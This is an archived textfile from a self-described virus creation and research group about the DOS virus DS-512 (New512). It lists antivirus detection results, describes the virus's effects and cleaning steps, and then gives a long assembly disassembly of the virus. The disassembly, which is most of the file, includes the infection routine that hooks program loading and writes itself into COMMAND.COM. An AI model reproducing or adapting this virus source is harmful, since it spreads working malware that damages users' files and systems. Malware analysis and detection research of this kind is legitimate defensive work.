💾 Archived View for spam.works › mirrors › textfiles › virus › avcr-01.002 captured on 2023-06-16 at 21:01:00.

View Raw

More Information

-=-=-=-=-=-=-


		???????     ?        ?  ?????????  ? ???????? 
	       ?       ?    ?        ?  ?          ???     ??
	      ?         ?   ?        ?  ?          ?       ??
	      ???????????   ?        ?  ?          ?
	      ?         ?   ?        ?  ?          ?
	      ?         ?    ?      ?   ?          ?
	      ?         ?     ??????    ?????????  ?
       
       
	
    ???   ???    ????    ???????    ????    ????????  ?  ?    ?  ???????
    ?  ???  ?   ?    ?   ?         ?    ?        ??   ?  ??   ?  ?
    ?       ?  ?      ?  ?  ????  ?      ?     ??     ?  ? ?  ?  ?????
    ?       ?  ????????  ?    ??  ????????   ??       ?  ?  ? ?  ?
    ?       ?  ?      ?  ???????  ?      ?  ????????  ?  ?   ??  ???????
       
       
       Distributed By Amateur Virus Creation & Research Group (AVCR)
			Researched by Th? Patron
?????????????????????????????????????????????????????????????????????????????
Name:                  The DS-512(New512) Virus
-----------------------------------------------------------------------------        
Alias: NEW512
-----------------------------------------------------------------------------
Type of Code: Non-Memory Resident ; Targets COMMAND.COM \ Boot sector
-----------------------------------------------------------------------------
Antivirus Detection: 
(1)
ThunderByte Anti Virus (TBAV) reported NEW512.COM as: "Infected by DS-512
virus."
"No checksum / recovery information available."
"The program traps the loading of software.  Might be a virus that inter-
cepts program load to infect the software."
"Undocumented interrupt/DOS call.  The program might be just trickey
but can also be a virus using a non-standard way to detect itself."
"EXE/COM determination.  The program tries to check whether a file is
a COM or EXE file.  Viruses need to do this to infect a program."
"Found code that can be used to overwrite/move a program in memory."

(2)
Frisk Software's F-Protect (F-PROT) reported NEW512.COM as: "contains 
unusual code, which is normally only found in viruses."

(3)
McAfee Softwares Anti Virus (SCAN.EXE) did not detect the DS-512 virus.

(4)
MicroSoft Anti Virus (MSAV.EXE) did not detect the DS-512 virus.
-----------------------------------------------------------------------------
Execution Results:
	When executed the DS-512 sends a beep to your speaker and 
displays the text: "This is New 512 Virus .........!!!"  The computer's
speed is drastically reduced, due to the hard disk being used WILDLY!
The virus's Checksum is changed from 00DC to 0015.  Below are the 
disassembled DS-512 virus BEFORE execution and AFTER the computer has 
been reset!  Interestingly, when the computer is reset a third time the 
checksum changes back from 0015 to 00DC and so does the virus's code, so 
the third(+) time the computer is reset the DS-512 virus's code is the 
same as BEFORE execution.
-----------------------------------------------------------------------------
Cleaning Recommendations:
	To clean the DS-512 virus we recommend replacing infected files, and
replacing the boot sector (use the SYS command).
-----------------------------------------------------------------------------
Researcher's Notes:
	None
-----------------------------------------------------------------------------
	     Disassembly of the DS-512 Virus BEFORE Execution
-----------------------------------------------------------------------------
		PAGE    60,132


data_ff         =       0FFh
data_205        =       205h
data_209        =       209h


;?????????? CODE_SEG_1  ????????????????????????????????????????????????????????

CODE_SEG_1      segment para public
		assume  CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1


		org     100h


;???????????????????????????????????????????????????????????????????????????????
;?
;?              ENTRY POINT
;?
;???????????????????????????????????????????????????????????????????????????????


;???????????????????????????????????????????????????????????????????????????????
;?
;?              PROCEDURE proc_start
;?
;???????????????????????????????????????????????????????????????????????????????

proc_start      proc    far
start:          ; N-Ref=0
		jmp     loc_2                   

		dw      758Bh, 30h, 0B8h, 0CD4Ch
var1_10b        db      '!This is New 512 Virus .........!!!'
		db      7, 24h, 0B4h, 9, 0BAh, 0Ch
		db      1, 0CDh, 21h
		db      11 dup (0)
loc_1:          ; N-Ref=0
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
loc_2:          ; N-Ref=2
		mov     DI,offset var1_100      
		mov     SI,Word Ptr [DI+5]      
		add     SI,DI                   
		mov     CX,7                    
		push    DS                      
		push    DI                      
		cld                             ; Clear direction flag
		push    CX                      
		push    SI                      
		repz    movsb                   ; Repeat if ZF = 1, CX > 0
						; Move byte from DS:SI to ES:DI
		xchg    CX,AX                   
		pop     DI                      
		pop     CX                      
		repz    stosb                   ; Repeat if ZF = 1, CX > 0
						; Store AL at ES:DI
		pop     DI                      
		push    DI                      
		mov     CH,8Ch                  
		mov     ES,CX                   

;???????????????????????????????????????????????????????????????????????????????
		assume  ES:nothing
;???????????????????????????????????????????????????????????????????????????????

		call    near ptr proc_1         
proc_start      endp



;???????????????????????????????????????????????????????????????????????????????
;?
;?              PROCEDURE proc_1
;?
;???????????????????????????????????????????????????????????????????????????????

proc_1          proc    far
		pop     SI                      
		sub     SI,+20h                 
		nop                             ; 1 Fixup
		mov     CX,200h                 
		mov     DX,132h                 
		push    CX                      
		push    SI                      
		push    ES                      
		push    DX                      
		repz    movsb                   ; Repeat if ZF = 1, CX > 0
						; Move byte from DS:SI to ES:DI
		retf                            ; Return FAR
proc_1          endp



		dw      595Fh, 71Eh, 1F0Eh, 0AAF3h
		dw      13CDh, 8E06h, 0BFC1h, 4Ch
		dw      0ACB8h, 2601h, 587h, 0A8A3h
		dw      8C01h, 26C8h, 4587h, 0A302h
		dw      1AAh, 19B8h, 2602h, 4587h
		dw      0A338h, 215h, 0C88Ch, 8726h
		dw      3A45h, 17A3h, 2602h, 5DC5h
		dw      8175h, 903Fh, 7590h, 8B05h
		dw      85Fh, 1FC5h, 25B9h, offset loc_2
		db      0D9h
loop_loc_3:             ; N-Ref=2
		inc     BX                      
		cmp     Word Ptr [BX],0FC80h    
		jne     loc_4                   ; Jump if not equal ( != )
		mov     AX,BX                   
loc_4:          ; N-Ref=1
		loop    loop_loc_3              ; Loop if CX > 0
		mov     DI,1C8h                 
		stosw                           ; Store AX at ES:DI
		mov     AX,DS                   
		stosw                           ; Store AX at ES:DI
		mov     AH,4Bh                  ; 'K'
		mov     DX,2F1h                 
		push    CS                      
		pop     DS                      
		int     21h                     ; DOS func ( ah ) = 4Bh
						; EXEC: Load/execute program
						;AL-subfnc DS:DX-ASCIIZ string
						; ES:BX-ptr to cntl block
						;AX-ret code
		pop     DS                      

;???????????????????????????????????????????????????????????????????????????????
		assume  DS:nothing
;???????????????????????????????????????????????????????????????????????????????

		push    DS                      
		pop     ES                      
		pop     DI                      
		push    DI                      
		cmp     Word Ptr [DI],5A4Dh     
		jne     loc_5                   ; Jump if not equal ( != )
		mov     AH,4Ch                  ; 'L'
		int     21h                     ; DOS func ( ah ) = 4Ch
						; Terminate process
						;AL-ret code
loc_5:          ; N-Ref=1
		retf                            ; Return FAR

		dw      0EA9Dh, 5C0h, 0C9E3h, 2E9Ch
		dw      3E80h, 0FFh, 7500h, 80F1h
		dw      2FCh, 0EC75h, 0FF2Eh, 0A81Eh
		dw      9C01h, 0F72h, 1E60h, 0B591h
		dw      0E800h, 0Bh, 0C780h, 0E202h
		dw      1FF8h, 9D61h, 2CAh, 6000h
		dw      1F06h, 7F81h, 8B03h, 7575h
		dw      800Eh, 0E93Fh, 0B74h, 0B9h
		dw      0C602h, 7, 0E243h, 61FAh
		db      0C3h
loc_6:          ; N-Ref=0
		mov     DI,BX                   
		mov     SI,Word Ptr [DI+5]      
		add     SI,DI                   
		mov     CL,7                    
		cld                             ; Clear direction flag
		repz    movsb                   ; Repeat if ZF = 1, CX > 0
						; Move byte from DS:SI to ES:DI
		mov     CL,7                    
		dec     SI                      
		mov     Byte Ptr [SI],CH        
		loop    loc_notfound            ; Loop if CX > 0

		dw      0C361h, 0FDE9h, 8B01h, 3075h
		db      0
loc_7:          ; N-Ref=1
		mov     Byte Ptr DS:data_ff,0   
		pop     ES                      
		pop     DS                      

		dw      9D61h, 9EEAh, 2310h, 9C01h
		dw      0FC80h, 754Bh, 60F4h, 61Eh
		dw      2B8h, 0CD3Dh, 0E72h, 721Fh
		dw      0FEE0h, 0FF06h, 9300h, 2B8h
		dw      3342h, 33C9h, 0CDD2h, 0B72h
		dw      75D2h, 0B82Bh, 4200h, 0C933h
		dw      72CDh, 3FB4h, 4B5h, 0BAh
		dw      8B03h, 0CDF2h, 3B72h, 75C1h
		dw      8115h, 37Ch, 758Bh, 0E74h
		db      0FCh, 83h, 0C6h, 7, 0B9h, 0F3h
		db      1
loop_loc_8:             ; N-Ref=2
		lodsb                           ; Load byte at DS:SI to AL
		or      AL,AL                   
		je      loc_9                   ; Jump if equal ( = )
		loop    loop_loc_8              ; Loop if CX > 0
		jmp     short loc_12            
loc_9:          ; N-Ref=1

		dw      0B960h, 6, 0AACh, 75C0h
		dw      0E20Dh, 61F9h, 0EE81h, 301h
		dw      3689h, 209h, 3EBh, 0EB61h
		dw      0BAE3h, 200h
loc_10:         ; N-Ref=2
		mov     SI,500h                 
		mov     CX,200h                 
loop_loc_11:            ; N-Ref=1
		cmp     Byte Ptr [SI],DL        
		jne     loc_13                  ; Jump if not equal ( != )
		inc     SI                      
		loop    loop_loc_11             ; Loop if CX > 0
		mov     AX,4200h                
		int     72h                     
		sub     AX,3                    
		mov     Word Ptr DS:data_205,AX 
		mov     AH,40h                  ; '@'
		mov     CX,200h                 
		inc     DH                      
		int     72h                     
		cmp     AX,CX                   
		jne     loc_14                  ; Jump if not equal ( != )
		mov     AX,4200h                
		xor     CX,CX                   
		mov     DX,Word Ptr DS:data_209 
		int     72h                     
		mov     AH,40h                  ; '@'
		mov     CL,7                    
		mov     DX,offset loc_2         
		int     72h                     
		cmp     AX,CX                   
		jne     loc_14                  ; Jump if not equal ( != )
		mov     AX,4200h                
		xor     CX,CX                   
		xor     DX,DX                   
		int     72h                     
		mov     AH,40h                  ; '@'
		mov     CL,7                    
		mov     DX,204h                 
		int     72h                     
loc_12:         ; N-Ref=1
		jmp     short loc_14            
loc_13:         ; N-Ref=1
		add     DH,2                    
		push    DX                      
		mov     AH,3Fh                  ; '?'
		mov     CX,200h                 
		mov     DX,500h                 
		int     72h                     
		cmp     AX,CX                   
		pop     DX                      
		je      loc_10                  ; Jump if equal ( = )
loc_14:         ; N-Ref=3
		mov     AH,3Eh                  ; '>'
		int     72h                     
		jmp     loc_7                   

var1_4f1        db      '\COMMAND.COM'
		db      0
var1_4fe        db      44h, 53h
CODE_SEG_1      ends



		end     start
-----------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!                
	    Disassembly of the DS-512 Virus AFTER It Was Executed
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!                
-----------------------------------------------------------------------------
		
		PAGE    60,132




;?????????? CODE_SEG_1  ????????????????????????????????????????????????????????

CODE_SEG_1      segment para public
		assume  CS:CODE_SEG_1, DS:CODE_SEG_1, SS:CODE_SEG_1, ES:CODE_SEG_1


		org     100h


;???????????????????????????????????????????????????????????????????????????????
;?
;?              ENTRY POINT
;?
;???????????????????????????????????????????????????????????????????????????????


;???????????????????????????????????????????????????????????????????????????????
;?
;?              PROCEDURE proc_start
;?
;???????????????????????????????????????????????????????????????????????????????

proc_start      proc    far
start:          ; N-Ref=0
		mov     AH,9                    
		mov     DX,offset var1_10c      
		int     21h                     ; DOS func ( ah ) = 9
						; Display string
						;DS:DX-output string
		mov     AX,4C00h                
		int     21h                     ; DOS func ( ah ) = 4Ch
						; Terminate process
						;AL-ret code
proc_start      endp



var1_10c        db      'This is New 512 Virus .........!!!'
		db      7, 24h
		db      18 dup (0)
loc_1:          ; N-Ref=0
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
		add     Byte Ptr [BX+SI],AL     
